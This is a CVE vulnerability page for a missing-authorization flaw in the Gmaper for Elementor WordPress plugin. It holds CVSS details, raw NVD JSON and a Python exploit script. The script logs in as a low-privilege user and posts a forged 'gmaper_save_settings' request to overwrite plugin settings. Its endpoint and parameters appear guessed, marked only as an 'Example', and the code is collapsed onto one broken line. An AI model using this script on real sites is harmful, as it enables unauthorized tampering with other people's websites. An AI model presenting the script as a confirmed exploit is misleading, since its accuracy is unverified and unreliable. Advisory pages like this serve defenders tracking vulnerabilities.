Security Vulnerability Report
中文
CVE-2025-66158 CVSS 5.4 MEDIUM

CVE-2025-66158

Published: 2025-12-31 17:15:50
Last Modified: 2026-04-23 15:35:29

Description

Missing Authorization vulnerability in merkulove Gmaper for Elementor gmaper-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gmaper for Elementor: from n/a through <= 1.0.9.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Gmaper for Elementor <= 1.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66158 PoC - Gmaper for Elementor Missing Authorization # Target: WordPress site with Gmaper for Elementor plugin <= 1.0.9 def exploit_cve_2025_66158(target_url, username, password): """ Exploit for Missing Authorization vulnerability in Gmaper for Elementor plugin This PoC demonstrates how a low-privilege user can access admin functions """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Exploit the missing authorization check # Target gmaper settings endpoint that lacks capability checks ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Example: Attempt to modify plugin settings without admin privileges exploit_data = { 'action': 'gmaper_save_settings', 'api_key': 'AIzaSyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', # Malicious API key 'nonce': '' # Missing or bypassed nonce check } resp = session.post(ajax_url, data=exploit_data) if resp.status_code == 200 and 'success' in resp.text.lower(): print("[+] Exploit successful - Settings modified without admin privileges") print(f"[+] Response: {resp.text}") return True else: print("[-] Exploit may have failed or plugin not vulnerable") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_66158(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66158", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:50.410", "lastModified": "2026-04-23T15:35:29.083", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Gmaper for Elementor gmaper-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gmaper for Elementor: from n/a through <= 1.0.9."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Gmaper para Elementor permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Gmaper para Elementor: desde n/a hasta 1.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gmaper-elementor/vulnerability/wordpress-gmaper-for-elementor-plugin-1-0-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}